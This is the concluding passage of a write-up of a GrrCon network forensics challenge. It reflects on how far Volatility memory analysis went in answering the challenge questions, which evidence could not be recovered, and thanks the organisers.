As if it wasn’t apparent, memory analysis during forensics and IR is very powerful.  We were able to answer 16 of the 20 questions using only the memory capture and standard Volatility plugins. We then answered two questions using plugins that are now a part of Volatility, but were not publicly available at the time of the challenge. We had to rely on the pcap file to answer the secret code question. We could not answer question 18 (how long did the attacker have network access) using only in-memory data, so we skipped it. In other words, we didn’t see anything that would explicitly indicate the attacker was detected or kicked out. Its important to note that some key evidence would not have been revealed by standard Volatility plugins that carve structured data. In those cases, we had to fall back on good old instinct, strings, grep, and sharp eyes.

One thing we wished we could have recovered, but did not was Binge’s (the user who downloaded the original exploit) NTUSER.dat file. We see references to this file in the mftparser output, but it was not recoverable. His registry hive would have had fine-grained details on IE activity, program execution (userassisst), and files on the computer (shellbags, MRU lists, etc).

Overall this challenge was very interesting and a fun way to spend a Saturday afternoon. We hope that Jack continues to make forensics/IR challenges as it was very well put together, and we think people could gain a lot of experience and insight by investigating them.

We also would like to thank the GrrCon organizers for allowing a network forensics challenge as we have seen other conferences shy away from forensics in order to focus solely on offensive capabilities and techniques - all while a plethora of organizations are being compromised daily and volumes of sensitive information stolen.